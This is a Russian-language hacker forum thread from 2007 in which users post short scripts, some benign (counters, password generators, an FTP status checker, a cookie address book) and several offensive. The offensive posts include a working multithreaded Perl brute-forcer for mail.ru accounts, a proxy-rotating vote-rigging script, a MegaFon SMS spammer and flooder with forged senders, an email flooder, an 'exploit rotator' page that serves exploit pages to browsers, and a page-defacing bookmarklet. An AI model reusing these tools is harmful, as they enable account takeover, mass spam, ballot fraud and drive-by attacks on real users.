if (!$yes)
{
open(COUNT, ">> count.dat") || die "ne otrkit\n\n";
print COUNT "$curr\n";
close(COUNT);
$ctr++;
open(CTR, "> ctr.dat") || die "neotkrit!\n\n";
print CTR "$ctr";
close(CTR);
$zeros="0"x(6-length($ctr));
$ctr=$zeros.$ctr;
@counter=($ctr=~m/(.)/gi);
foreach(@counter)
{
$image="img/".$_."OCR.GIF";
print "<img src=\"$image\">";
}
}
else
{
$zeros="0"x(6-length($ctr));
$ctr=$zeros.$ctr;
@counter=($ctr=~m/(.)/gi);
foreach(@counter)
{
$image="img/".$_."OCR.GIF";
print "<img src=\"$image\">";
}
}

потом создаюём counter.dat
и там пропишем
< img src="/cgi-bin/image.cgi" >

просто счётчик на перле

n1†R0x
21.08.2007, 12:12
Простейший персональный счетчик на php кстати помещается в 4 строчки :) если использовать cookies.

<?php
if (!isset($counter))
$counter = 0;
$counter++;
setcookie("counter", $counter, 0xAAAAAAAA);
echo "You have visited this page $counter times.";
?>

-=lebed=-
23.08.2007, 10:49
SQLBruter v. 0.2 By Raz0r (c) 2007
razor-ars[at]yandex.ru
ICQ 502210

Скрипт для брута названий табличек/полей
при реализации скул-инъекций. (во вложении).

C!klodoL
24.08.2007, 03:40
это брутир мэйл.ру, сама идея брута через вэб принадлежит genom--, я же сделал такую фишку как построчное чтение словаря паролей, т.е. он может быть большого размера, и авто высчитывание оптимального количества потоков, на основе подсчёта времени затрачиваемого на брут при определенном количестве потоков, например:
For 1 threads time = 55
For 2 threads time = 52
For 3 threads time = 50
в результате установится 3 потока
P.S. если будете юзать, то не загружайте инет канал во время высчитывания скриптом оптимального количества потоков, иначе установится ложное значение и будет непохек =/
#!/usr/bin/perl

use IO::Socket::INET;
use threads;
use threads::shared;
my @pass : shared;

######################################
$dic = 'pass.txt';
$mail = 'mail@bk.ru';
######################################
$thr = 1;
######################################

( $login, $dom ) = split ( /@/, $mail );
open (pass, "<$dic");
open (bad, ">bad.txt");
Next:
@pass = pass();
my $time_start = time;
if ( @pass == 0 ) {
print "Sorry, password not found =(\n";
exit;
}
for(0..$thr) { $trl[$_] = threads->create(\&Brut, $_); }
for(0..$thr) { $trl[$_]->join; }
sub Brut
{
while (@pass){
$pass = shift @pass;
$data = "Password=$pass&login_from=http%3A%2F%2Fmail.ru%2F&page=&Domain=$dom&post=&Login=$login";
$sock = IO::Socket::INET->new(Proto=>'tcp',
PeerAddr=>'win.mail.ru',
PeerPort=>80);
print $sock "POST http://win.mail.ru/cgi-bin/auth HTTP/1.1\r\n".
"Host: win.mail.ru\r\n".
"Accept: */*\r\n".
"Range: bytes=0-63\r\n".
"User-Agent: Opero\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".length($data)."\r\n".
"Connection: close\r\n\r\n$data";
$answ = <$sock>;
close $sock;
#print "$pass\t$answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$login:$pass\n";
print "$login:$pass\n";
close good;
exit;
}
}
}
if ( $thr < 20 && $key == 0 ) {
my $time_end = time;
my $timer = $time_end - $time_start;
print "For $thr threads time = $timer\n";
$optim[$timer] = $thr;
$thr++;
} elsif ($key == 0) {
while (1) {
$thr = shift @optim;
print "Thr $thr\n";
last if ($thr);
}
$key = 1;
}
goto Next;
sub pass
{
my (@mas);
while (<pass>){
push @mas, $_;
last if (@mas > 300);
}
print bad $_;
print $_;
chomp @mas;
return @mas;
}

[53x]Shadow
27.08.2007, 23:42
маленький и простой генератор случайных паролей из читабельных символов...
<?for($i;$i<$_GET['len'];$i++) echo chr(rand(33,126));?>

Scipio
28.08.2007, 04:35
Shadow']маленький и простой генератор случайных паролей из читабельных символов...
<?for($i;$i<$_GET['len'];$i++) echo chr(rand(33,126));?>
извини пожалуйста, но это не самый полезный скрипт... он конечно выдает фигню какуюто (не пробовал, но вижу) а куда дальше фигню девать, знает лишь мудрец мохнатый... и на пароли (извини) это будет не похоже... я бы мог написать скриптец, который существенно дополнит твой, но не буду т.к. этот баян существует со времен царя Гороха...
(извини если че не так)

inlanger
28.08.2007, 11:49
В теме уже пошли не скрипты а их обсуждение... Вернее выяснение отношений...

[53x]Shadow
29.08.2007, 03:21
он конечно выдает фигню какуюто (не пробовал, но вижу) а куда дальше фигню девать, знает лишь мудрец мохнатый... и на пароли (извини) это будет не похоже... я бы мог написать скриптец, который существенно дополнит твой, но не буду т.к. этот баян существует со времен царя Гороха...

..для чего, написано в заголовке и выдает нормальные случайные пароли необходимой длины, проверь...
А запостил, т.к. в нете не нашлось маленького простого генератора (а всякого г... навалом), был интерес написать свое в минимум кода...
Для этого и выложил чтоб каждый дальше сам дополнял необходимый ему функционал.
ЗЫ
сорри за офтоп в теме...

DeBugger
30.08.2007, 18:07
Кому не трудно, подкиньте пожалуйста Php-код для индикации состояния ФТП-сервера (В смысле "работает", "ошибка подключения" и т.п.). Я имею ввиду не чекер, а информер для сайта.

Sharky
30.08.2007, 18:53
Кому не трудно, подкиньте пожалуйста Php-код для индикации состояния ФТП-сервера (В смысле "работает", "ошибка подключения" и т.п.). Я имею ввиду не чекер, а информер для сайта.
<?php
$ftp_server = "10.252.31.31";
$conn_id = ftp_connect($ftp_server);
if (!$conn_id) {
echo "OFFLINE";
exit;
} else {
echo "ONLINE";
}
ftp_close($conn_id);
?>

DeBugger
30.08.2007, 19:46
Спасибо.
А возможно ли добавить таймаут на опрос? Иначе, если сервер упал, информер слишом долго "соображает". Сервер и портал в одной сети, коннект должен происходить быстро. В противном случае, сервер можно считать упавшим заочно.

Sharky
30.08.2007, 20:05
Спасибо.
А возможно ли добавить таймаут на опрос? Иначе, если сервер упал, информер слишом долго "соображает". Сервер и портал в одной сети, коннект должен происходить быстро. В противном случае, сервер можно считать упавшим заочно.
<?php
error_reporting(0);
$ftp_server = "10.252.31.31"; //ФТП СЕРВЕР
$port = "21"; //ПОРТ, СТАНДАРТНЫЙ 21
$timeout = "1"; //ТАЙМАУТ СОЕДИНЕНИЯ
$conn_id = ftp_connect($ftp_server, $port, $timeout);
if (!$conn_id) {
echo "OFFLINE";
exit;
} else {
echo "ONLINE";
}
ftp_close($conn_id);
?>

Dr.Z3r0
30.08.2007, 20:21
Shadow']маленький и простой генератор случайных паролей из читабельных символов...
<?for($i;$i<$_GET['len'];$i++) echo chr(rand(33,126));?>
Во! Самый бусполезный скрипт... Преобразование пароля в строку из метасимволов на основе сходства

<html>
<head>
<title>Генерирование паролей из строки
</title>
</head>
<body>
<?php
$sumb['A']['1']="A";
$sumb['A']['2']="/-\\";
$sumb['A']['3']="/-|";
$sumb['A']['4']="/-!";
$sumb['A']['5']="/-I";

$sumb['B']['1']="B";

$sumb['C']['1']="C";
$sumb['C']['2']="(";
$sumb['C']['3']="[";

$sumb['D']['1']="D";
$sumb['D']['2']="I)";
$sumb['D']['3']="|)";

$sumb['E']['1']="E";

$sumb['F']['1']="F";

$sumb['G']['1']="G";

$sumb['H']['1']="H";
$sumb['H']['2']="I-I";
$sumb['H']['3']="!-!";
$sumb['H']['4']="|-|";

$sumb['I']['1']="I";
$sumb['I']['2']="|";
$sumb['I']['3']="!";

$sumb['J']['1']="J";

$sumb['K']['1']="K";
$sumb['K']['2']="|<";
$sumb['K']['3']="I<";
$sumb['K']['4']="!<";

$sumb['L']['1']="L";
$sumb['L']['2']="!_,";
$sumb['L']['3']="I_,";
$sumb['L']['4']="|_,";

$sumb['M']['1']="M";
$sumb['M']['2']="!\\/!";
$sumb['M']['3']="I\\/I";
$sumb['M']['4']="|\\/|";

$sumb['N']['1']="N";
$sumb['N']['2']="!\\!";
$sumb['N']['3']="I\\I";
$sumb['N']['4']="|\\|";

$sumb['O']['1']="O";
$sumb['O']['2']="()";
$sumb['O']['3']="[]";
$sumb['O']['4']="{}";

$sumb['P']['1']="P";

$sumb['Q']['1']="Q";

$sumb['R']['1']="R";

$sumb['S']['1']="S";
$sumb['S']['2']="$";

$sumb['T']['1']="T";

$sumb['U']['1']="U";
$sumb['U']['2']="!_!";
$sumb['U']['3']="I_I";
$sumb['U']['4']="|_|";

$sumb['V']['1']="\\/";

$sumb['W']['1']="W";
$sumb['W']['2']="\\^/";
$sumb['W']['3']="\\/\\/";
$sumb['W']['4']="!/\\!";
$sumb['W']['5']="I/\I";

$sumb['X']['1']="X";
$sumb['X']['2']="][";
$sumb['X']['3']=")(";
$sumb['X']['4']="}{";
$sumb['X']['5']="><";

$sumb['Y']['1']="Y";

$sumb['Z']['1']="Z";

function retrandsumb($one_sumb,$sumb)
{
if(!empty($sumb[$one_sumb]['1']))
{
$number_sumb=rand(1,count($sumb[$one_sumb]));
$one_sumb=$sumb[$one_sumb][$number_sumb];
if($number_sumb==1)
{
$touch_register=rand(0,1);
if($touch_register==1)$one_sumb=strtolower($one_su mb);
}
}
else
{
$touch_register=rand(0,1);
if($touch_register==1)$one_sumb=strtolower($one_su mb);
}
return $one_sumb;
}

function metapass($password,$sumb)
{
$repeat=strlen($password);
$new_pass="";
for($i=0;$i<$repeat;$i++)
{
$now_sumb=substr($password,$i,1);
$now_sumb=retrandsumb($now_sumb,$sumb);
sleep(0.1);
$new_pass=$new_pass.$now_sumb;
}
return $new_pass;
}

if(empty($password))@$password=$HTTP_POST_VARS["password"];
if(!empty($password))
{
echo("10 паролей сгенерированных скриптом из слова ".htmlspecialchars($password)."<br>\n");
echo("Для генерирования новых обновите страницу\n");
echo("<hr><pre>\n");
$i=0;
$echo_pass=$password;
$password=strtoupper($password);
while($i++<10)
{
$new_password=metapass($password,$sumb);
echo(htmlspecialchars($new_password)."\n");
}
echo("<hr>");
echo("</pre>\n");
}
else $echo_pass="";
echo("Генерирование паролей из строки (Допускаются символы только латинского алфавита)<br>\n");
echo("
<form action=pass.php method=POST>
<input type=text name=password value=\"".htmlspecialchars($echo_pass)."\"><br>
<input type=submit value=Сгенерировать>
</form>
");
?>
</body>
</html>

Dr.Z3r0
31.08.2007, 12:44
Ну блин извините...

n1†R0x
31.08.2007, 12:49
Раз уж на то пошло, в том скрипте второй индекс для массива указывать было совсем не обязательно.

Dr.Z3r0
01.09.2007, 10:19
Не понял. Почему? то была просто оппечатка

n1†R0x
01.09.2007, 15:19
Не понял. Почему? то была просто оппечатка
массивы автоматически индексируются, если нужно int-значение в кач-ве аргумента.

пример:
$massiv['sym'][] = "k";
$massiv['sym'][] = "y";
print $massiv['sym']['1'];

отобразит "y".
как и print $massiv['sym'][1];

ps: я сказал "не обязательно", это не значит "неправильно".

Piflit
02.09.2007, 15:42
<?php
ignore_user_abort(1);
set_time_limit(0);
$browsers = array ("MSIE 6.0", "Mozilla/4.0", "Mozilla/5.0", "Opera/9.23", "MSIE 7.0");
$send = "GET http://site.ru/index.html?vote=123 HTTP/1.1\r\n";
$send .= "Host: site.ru\r\n";
$send .= "User-Agent: ".$browsers[rand(0,4)]."\r\n";
$send .= "Referer: http://site.ru/index.html\r\n";
$send .= "Pragma: no-cache";
$send .= "Connection: Close\r\n\r\n";

$vote_count = 0;
$error1 = "Proxy ".$proxy." isn't available!\r\n";

$proxy_file = "proxy.txt";
$proxy_file_handle = fopen($proxy_file,"r");
$report_file = "report.txt";
$report_file_handle = fopen($report_file,"a");

fputs($report_file_handle,"Voting successfully started on ".date('l dS \of F Y h:i:s A')."!\r\n");

while(!feof($proxy_file_handle))
{
$proxy = fgets($proxy_file_handle,1024);
$proxy_in_parts = explode(":",$proxy);
$ip = $proxy_in_parts[0];
$port = $proxy_in_parts[1];

$socket = fsockopen($proxy,$port,&$errno,&$errstr);
if (!$socket)
{
fputs($report_file_handle,$error1);
continue;
}
else
{
if(fputs($socket,$send))
{
$vote_count++;
fputs($report_file_handle,"You've voted ".$vote_count." times\r\n");
$rand_numb=rand(300,600);
sleep($rand_numb);
}
else continue;
};
};
fclose($socket);
fclose($proxy_file_handle);
fputs($report_file_handle,"Voting finished on ".date('l dS \of F Y h:i:s A')."!\r\n\r\n------------------------------------------------\r\n\r\n");
fclose($report_file_handle);


?>
Накрутчик голосований. Писал сам. Есть поддержка проксей (proxy.txt)+отчет о количестве голосов пишется в файл report.txt. Для беспалевности в поле User-Agent get запроса случайно добавляется один из 5 браузеров, еще промежуток между голосами стоит от 5 до 10 минут в секундах (случайно). Скрипт писался под рейтинг кс серверов.

sM1L3
03.09.2007, 12:28
javascript:d=document;for(i=0;i<d.images.length;i++){d.images[i].src='http://hacking.ge/templates/standard/img/page/logo.gif';void(0)};As=d.getElementsByTagName('a'); for(i=0;i<As.length;i++){a=As[i];a.href='http://www.hacking.ge';if(a.innerHTML.indexOf('IMG')==-1){s='';while(s.length<a.innerText.length)s=s+'HACK ';a.innerText=s;}void(0);}

Прикольный скрипт :cool: Вводим его в адресную строку любого сайта, желательно чтоб на сайте было много картинок :p

Rast1k
04.09.2007, 19:21
Вот скрипт адресной книги куки:
Вставляем между <head> & </head>
<SCRIPT LANGUAGE="JavaScript">
var arrRecords = new Array();
var arrCookie = new Array();
var recCount = 0;
var strRecord="";
expireDate = new Date;
expireDate.setDate(expireDate.getDate()+365);

function cookieVal(cookieName) {
thisCookie = document.cookie.split("; ")
for (i = 0; i < thisCookie.length; i++) {
if (cookieName == thisCookie[i].split("=")[0]) {
return thisCookie[i].split("=")[1];
}
}
return 0;
}

function loadCookie() {
if(document.cookie != "") {
if(cookieVal("Records") != ""){
arrRecords = cookieVal("Records").split(",");
}
currentRecord();
}
}

function setRec() {
strRecord = "";
for(i = 0; i < document.frm1.elements.length; i++) {
strRecord = strRecord + document.frm1.elements[i].value + ":";
}
arrRecords[recCount] = strRecord;
document.frm2.add.value = " NEW ";
document.cookie = "Records="+arrRecords+";expires=" + expireDate.toGMTString();
}


function newRec() {
switch (document.frm2.add.value) {
case " NEW " :
varTemp = recCount;
for(i = 0; i < document.frm1.elements.length; i++) {
document.frm1.elements[i].value = ""
}
recCount = arrRecords.length;
document.frm2.add.value = "CANCEL";
break;
case "CANCEL" :
recCount = varTemp;
document.frm2.add.value = " NEW ";
currentRecord();
break;
}
}

function countRecords() {
document.frm2.actual.value = "Record " + (recCount+1)+"; "+arrRecords.length+" saved records";
}

function delRec() {
arrRecords.splice(recCount,1);
navigate("previous");
setRec();
}

function currentRecord() {
if (arrRecords.length != "") {
strRecord = arrRecords[recCount];
currRecord = strRecord.split(":");
for(i = 0; i < document.frm1.elements.length; i++) {
document.frm1.elements[i].value = currRecord[i];
}
}
}

function navigate(control) {
switch (control) {
case "first" :
recCount = 0;
currentRecord();
document.frm2.add.value = " NEW ";
break;
case "last" :
recCount = arrRecords.length - 1;
currentRecord();
document.frm2.add.value = " NEW ";
break;
case "next" :
if (recCount < arrRecords.length - 1) {
recCount = recCount + 1;
currentRecord();
document.frm2.add.value = " NEW ";
}
break;
case "previous" :
if (recCount > 0) {
recCount = recCount - 1;
currentRecord();
}
document.frm2.add.value = " NEW ";
break;
default:
}
}

// Splice method Protype Function
// Peter Belesis, Internet.com
// http://www.dhtmlab.com/

function pageLoad(){
if (!Array.prototype.splice) {
function array_splice(ind,cnt) {
if (arguments.length == 0) return ind;
if (typeof ind != "number") ind = 0;
if (ind < 0) ind = Math.max(0,this.length + ind);
if (ind > this.length) {
if (arguments.length > 2) ind = this.length;
else return [];
}
if (arguments.length < 2) cnt = this.length-ind;
cnt = (typeof cnt == "number") ? Math.max(0,cnt) : 0;
removeArray = this.slice(ind,ind+cnt);
endArray = this.slice(ind+cnt);
this.length = ind;
for (var i = 2; i < arguments.length; i++) {
this[this.length] = arguments[i];
}
for(var i = 0; i < endArray.length; i++) {
this[this.length] = endArray[i];
}
return removeArray;
}
Array.prototype.splice = array_splice;
}
recCount = 0;
loadCookie();
countRecords();
}

</script>
Вставляем код между <body & ">"
onLoad="pageLoad()"
Вставляем код между <body> & </body>
<center>
<form name="frm1">
<table align="center" resize="none" border="0">
<tr>
<td align="right">Name:</td>
<td colspan="5"><input type="box" name="name" size="49"></td>
</tr>
<tr>
<td align="right">Address:</td><td colspan="5"><input type="box" name="address" size="49"></td></tr>
<td align="right">Address 2:</td><td colspan="5" align="left"><input type="box" name="address2" size="49"></td>
</tr>
<tr>
<td align="right">City:</td>
<td><input type="box" name="city" size="15"></td>
<td>State:</td><td><input type="box" name="state" size="15"></td>
<td>Zip:</td><td><input type="box" size="6" name="zip"></td>
</tr>
<tr>
<td align="right">Phone:</td>
<td align="left"><input type="box" name="phone" size="15"></td>
<td align="right">Fax:</td><td align="left"><input type="box" name="fax" size="15"></td>
</tr>
<tr>
<td align="right">Web Page:<td colspan="5" align="left"><input type="box" name="address" size="49"></td>
</tr>
<tr>
<td align="right">E-Mail:<td colspan="5" align="left"><input type="box" name="email" size="49"></td>
</tr>
<tr>
<td align="right" valign="top">Comments:</td>
<td colspan="5" align="left"><input type="box" name="comment1" size="49"><br>
<input type="box" name="comment2" size="49"><br>
<input type="box" name="comment3" size="49"><br>
<input type="box" name="comment4" size="49"><br>
<input type="box" name="comment5" size="49">
</td>
</tr>
</table>
</form>
<form name="frm2">
<table align="center" border="1" resize="none">
<tr>
<td align="center">
<input type="button" name="first" value="|<< " onClick="navigate('first');countRecords()">
<input type="button" name="previous" value=" < " onClick="navigate('previous');countRecords()">
<input type="button" name="next" value=" > " onClick="navigate('next');countRecords()">
<input type="button" name="last" value=" >>|" onClick="navigate('last');countRecords()">
<input type="box" name="actual" size=30>
</td>
</tr>
<tr>
<td align="center">
<input type="button" name="add" value=" NEW " onClick="newRec();countRecords()">
<input type="button" name="set" value="SAVE RECORD" onClick="setRec();countRecords()">
<input type="button" name="del" value="Delete" onClick="delRec();countRecords()">
</td>
</tr>
</table>
</form>
</center>

NOmeR1
08.09.2007, 11:03
MegaFon ::: Spamer ::: Flooder
Только что написал.. Вроде должен работать, а так не проверял.
<?
#(c) NOmeR1
if(!set_time_limit(0)) { $limit = false; }
else { set_time_limit(0); ignore_user_abort(1); $limit = true; }
$lockfile = 'lock.lock'; //Если в каталоге этот файл, то флуд и спам перестают работать
$spisok = 'spisok.txt'; //Файл списка номеров для спама
$log = 'log.txt'; //Файл лога
$symb = 'QWERTYUIOPADFGHJKLZXCVBNM';
$mails = array('mail.ru', 'inbox.ru', 'bk.ru', 'list.ru', 'gmail.com', 'gmail.ru');
?>
<title>MegaFon ::: Spamer ::: Flooder</title>
<?
if($_GET['spam'] == '1')
{
if($_POST['from'] && $_POST['to'] && $_POST['msg'] && $_POST['from'] < $_POST['to'])
{
for($i=$_POST['from'];$i<=$_POST['to'];$i++)
{
if(file_exists($lockfile))
{
echo('Файл блокирования найден'); break;
}
$i = '7'.substr($i, 1);
$from = $symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.'@'.$mails[rand(0,count($mails)-1)];
mail($i.'@sms.mgsm.ru', '', $_POST['msg'], "From: ".$from."\r\n") or die('Не возможно отправить смс');
if($_POST['logs'] == '1')
{
$f = fopen($log,'a') or die('Не возможно открыть файл лога');
fwrite($f, 'Spam ::: '.strftime('%d.%m.%y %H:%M:%S').' ::: '.$i."\r\n") or die('Не возможно записать в файл лога');
fclose($f);
}
sleep(7);
}
echo('<font color=YellowGreen>Завершено успешно</font><br>');
}
if($_POST['spisok'] == '1' && $_POST['msg'])
{
$file = file($spisok);
for($i=0;$i<count($file);$i++)
{
if(file_exists($lockfile))
{
echo('Файл блокирования найден'); break;
}
$file[$i] = $mobile;
$mobile = preg_replace('/[^0-9]/','',$mobile);
$mobile = '7'.substr($mobile, 1);
$from = $symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.'@'.$mails[rand(0,count($mails)-1)];
mail($mobile.'@sms.mgsm.ru', '', $_POST['msg'], "From: ".$from."\r\n") or die('Не возможно отправить смс');
if($_POST['logs'] == '1')
{
$f = fopen($log,'a') or die('Не возможно открыть файл лога');
fwrite($f, 'Spam ::: '.strftime('%d.%m.%y %H:%M:%S').' ::: '.$mobile."\r\n") or die('Не возможно записать в файл лога');
fclose($f);
}
sleep(7);
}
echo('<font color=YellowGreen>Завершено успешно</font><br>');
}
else
{
?>
Файл списка (<?=$spisok?>) <?if(is_writable($spisok)) echo('<font color=YellowGreen>доступен для записи</font>'); else echo('<font color=Red>не доступен для записи</font>');?><br>
Файл лога (<?=$log?>) <?if(is_writable($log)) echo('<font color=YellowGreen>доступен для записи</font>'); else echo('<font color=Red>не доступен для записи</font>');?><br>
Файл блокировки (<?=$lockfile?>) <?if(file_exists($lockfile)) echo('<font color=Red>создан</font>'); else echo('<font color=YellowGreen>не создан</font>');?><br>
set_time_limit(0) = <?if($limit)echo('<font color=YellowGreen>On</font>');else echo('<font color=Red>Off</font> (Время работы скрипта ограничено)');?><br>

<form method='post' style='width:300'>
Начало: <input type='text' name='from' value='79030000000'><br>
Конец: <input type='text' name='to' value='79030000500'><br>
Использовать список? <input type='checkbox' name='spisok' value='1'> - <?=$spisok?><br>
Вести лог? <input type='checkbox' name='logs' value='1' checked> - <?=$log?><br>
<textarea name='msg' rows='5' cols='30'></textarea><br>
<input type='submit'>
</form>
<?
}
}
elseif($_GET['flood'] == '1')
{
if(!set_time_limit(0)) { $limit = false; }
else { set_time_limit(0); ignore_user_abort(1); $limit = true; }
if($_POST['mob'] && $_POST['kol'] && $_POST['msg'])
{
$file = file($spisok);
for($i=0;$i<$_POST['kol'];$i++)
{
if(file_exists($lockfile))
{
echo('Файл блокирования найден'); break;
}
$mobile = $_POST['mob'];
$mobile = preg_replace('/[^0-9]/','',$mobile);
$mobile = '7'.substr($mobile, 1);
$from = $symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.'@'.$mails[rand(0,count($mails)-1)];
mail($mobile.'@sms.mgsm.ru', '', $_POST['msg'], "From: ".$from."\r\n") or die('Не возможно отправить смс');
sleep(7);
}
if($_POST['logs'] == '1')
{
$f = fopen($log,'a') or die('Не возможно открыть файл лога');
fwrite($f, 'Flood ::: '.strftime('%d.%m.%y %H:%M:%S').' ::: '.$mobile."\r\n") or die('Не возможно записать в файл лога');
fclose($f);
}
echo('<font color=YellowGreen>Завершено успешно</font><br>');
}
else
{
?>
Файл лога (<?=$log?>) <?if(is_writable($log)) echo('<font color=YellowGreen>доступен для записи</font>'); else echo('<font color=Red>не доступен для записи</font>');?><br>
Файл блокировки (<?=$lockfile?>) <?if(file_exists($lockfile)) echo('<font color=Red>создан</font>'); else echo('<font color=YellowGreen>не создан</font>');?><br>
set_time_limit(0) = <?if($limit)echo('<font color=YellowGreen>On</font>');else echo('<font color=Red>Off</font> (Время работы скрипта ограничено)');?><br>

<form method='post' style='width:300'>
Номер: <input type='text' name='mob' value='79030000000'><br>
Количество СМС: <input type='text' name='kol' value='50'><br>
Вести лог? <input type='checkbox' name='logs' value='1' checked> - <?=$log?><br>
<textarea name='msg' rows='5' cols='30'></textarea><br>
<input type='submit'>
</form>
<?
}
}
?>
<a href='<?=$_SERVER["PHP_SELF"]?>?spam=1'>Спам</a><br>
<a href='<?=$_SERVER["PHP_SELF"]?>?flood=1'>Флуд</a>

Rast1k
09.09.2007, 10:19
Смотрел статьи, нашел тут (http://forum.antichat.ru/thread36997.html) про ротатор эксплоитов.

Вот решил выложить простенький для двух:
<html>
<head>
<meta>
</head>
<SCRIPT>
brouser=navigator.appName
cpu=navigator.cpuClass

//определение версии OC

function test_os() {
if ((navigator.userAgent.indexOf ('Win') != -1) &&
(navigator.userAgent.indexOf('98') != -1))
{ var OpSys = "Windows 98"; }
else if((navigator.userAgent.indexOf('Win') != -1) &&
(navigator.userAgent.indexOf('95') != -1))
{ var OpSys = "Windows 95"; }
else if(navigator.appVersion.indexOf("16") !=-1)
{ var OpSys = "Windows 3.1"; }
else if (navigator.appVersion.indexOf ("NT") !=-1)
{ var OpSys= "Windows NT"; }
else if (navigator.appVersion.indexOf ("Linux") !=-1)
{ var OpSys = "Linux"; }
else if (navigator.userAgent.indexOf ('Mac') != -1)
{ var OpSys = "Macintosh"; }
else { var OpSys = "other"; }
return OpSys;
}

function nomer() {
var nomer="0"
if (brouser==="Microsoft Internet Explorer")
{ nomer="0";nomer="1"; }

return (nomer);
}

var sites = new Array();
var currentPage0 = 0;
var currentPage1 = 1;
sites[0] = "spl1.html?quot;;
sites[1] = "spl2.html?quot;;
function changePage() {
document.getElementById( "ifrm0" ).src = sites[currentPage0];
document.getElementById( "ifrm1" ).src = sites[currentPage1];
}

</script>
<body>
<iframe>
<iframe>
</body>
</html>

NOmeR1
10.09.2007, 10:28
Email :: FLoodeR :: SpameR
Только что минут за 30 написал. :) Может пригодится кому..
<?
#(C) NOmeR1
?>
<title>Email :: FLoodeR :: SpameR</title>
<?

error_reporting (0);
if(!set_time_limit(0)) {
$limit = false;
} else {
set_time_limit(0);
ignore_user_abort(1);
$limit = true;
}

$log = 'log.txt'; // Файл лога

ini_set('max_execution_time', '0');

?>
Файл лога <?if(file_exists($log)) { if(is_writable($log)) { echo('<font color=YellowGreen>доступен для записи</font>'); } else { echo('<font color=Red>не доступен для записи</font> (права должны быть <font color=YellowGreen>0777</font>)'); } } else { echo('не существует - права на диру должны быть <font color=YellowGreen>0777</font>'); }?><br>
set_time_limit(0) = <?if($limit)echo('<font color=YellowGreen>On</font>');else echo('<font color=Red>Off</font> (Время работы скрипта ограничено)');?><br>
<?

$ip = getenv('REMOTE_ADDR');

if($_GET['mail'] == '1' || $_GET['mail'] == '2' || $_GET['mail'] == '3')
{

$_POST['to'] = stripslashes($_POST['to']);
$_POST['msg'] = stripslashes($_POST['msg']);
$_POST['from'] = stripslashes($_POST['from']);
$_POST['subject'] = stripslashes($_POST['subject']);

if($_POST['to'] && $_POST['msg'] && $_POST['from'] && $_POST['tipe'])
{
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/".$_POST['tipe']."; charset=windows-1251\r\n";
$headers .= "From: ".$_POST['from']."\n";
if($_GET['mail'] == '1')
{
mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Не возможно отправить сообщение');
}
elseif($_GET['mail'] == '2')
{
$_POST['to'] = explode("\n",$_POST['to']);
foreach($_POST['to'] as $poluchatels)
{
mail($poluchatels, $_POST['subject'], $_POST['msg'], $headers) or die('Не возможно отправить сообщение');
}
}
elseif($_GET['mail'] == '3')
{
if(preg_match('/[0-9]+/',$_POST['kol']))
{
for($i=0;$i<$_POST['kol'];$i++)
{
mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Не возможно отправить сообщение');
sleep(1);
}
}
else
{
echo('Неверно введено (или не введено) кол-во сообщений');
}
}
$f = fopen($log,'a');
fwrite($f,'Отправелено сообщение с темой "'.$_POST['subject'].'" для "'.$_POST['to'].'" с IP - "'.$ip."\"\r\n");
fclose($f);
echo('<center><b><font color="green">Сообщение успешно отправлено</font></b></center>');
}
else
{
?>
<form style="width:350px" method='post'>
<?
if($_GET['mail'] == '1' || $_GET['mail'] == '3')
{
echo("Получатель &nbsp;<input type='text'name='to'><br>");
}
?>
Отправитель<input type='text' name='from'><br>
Тема сообщ. &nbsp;<input type='text' name='subject'><br>
<?
if($_GET['mail'] == '3')
{
echo("Кол-во сообщений <input type='text' name='kol'><br>");
}
?>
<br>
htm -&gt; <input type='radio' checked='checked' tabindex='1' name='tipe' value='html'> :: <input type='radio' name='tipe' value='plain'>&lt;- text<br>
<?
if($_GET['mail'] == '2')
{
echo("Получатели<br><textarea name='to' rows='10' cols='30'>mail@mail.ru
super@mail.ru
poluchatel@mail.ru</textarea>");
}
?>
<br>Сообщение<br>
<textarea name='msg' rows='10' cols='30'></textarea><br><br><input type='submit'>
</form>
<?
}
} else {
?><br>
<a href='<?=$_SERVER['PHP_SELF']?>?mail=1'>Отправить простое сообщение</a><br>
<a href='<?=$_SERVER['PHP_SELF']?>?mail=2'>Наспамить</a><br>
<a href='<?=$_SERVER['PHP_SELF']?>?mail=3'>Налудить</a><br>
<?
}
?>

Пробывал флудить mail.ru <- флудит 10 сообщений за 10 секунд, но зато они все приходят!

alextoun
12.09.2007, 18:25
#VRML V2.0 utf8
Worldinfo
{
title "gigi"
}
DEF SENSOR ProximitiSensor{
size 10 10 10
}
Sound
{
minFront 100
minBack 100
maxFront 100
maxBack 100
source DEF SOUND AudioClip {
loop True
url "song.wav"
startTime -1
}
}
Shape
{
appearnce Appearance
{
material Material
{
emissiveColor 0 0 1
}
}
geometry Cone 0
}
Route Sensor.enterTime To Sound.startTime
Route Sensor.enterTime To Sound.stopTime
приближение обьекта( в моём случае конус), и проигрывание скрипта, при приблежениии.
На ВРМЛ


p.s заняться было нечем:)

NOmeR1
12.09.2007, 18:39
Столкнулся с проблемой.
Нужно было получить данные методом POST, но каждый раз писать эту бурду конечно не удобно.
Я написал функцию, которая "конвертирует" POST в GET.

<?

#(c) NOmeR1

function file_post_contents($url)
{

$url = parse_url($url);
$fp = fsockopen($url['host'], 80, $errno, $errstr, 30);

if(!$fp)
{
return false;
}

else
{

$postContents = "POST ".$url['scheme']."://".$url['host'].$url['path']." HTTP/1.0\r\n".
"Host: ".$url['host']."\r\n".
"Referer: ".$url['scheme']."://".$url['host'].$url['path']."\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".strlen($url['query'])."\r\n\r\n".
$url['query'];

fputs($fp, $postContents);
$result = '';

while(!feof($fp)) {
$result .= fgets($fp, 128);
}

fclose($fp);
return $result;

}

}

echo file_post_contents('http://forum.antichat.ru/member.php?u=747');

?>

Digimortal
14.09.2007, 19:26
Скрипт перевода русского текста в набор на англ раскладке

#!/usr/bin/perl

if (@ARGV < 1)
{
print "Usage: transkey.pl source\r\n";
exit();
}

$sour = $ARGV[0];

if (@ARGV = 1){
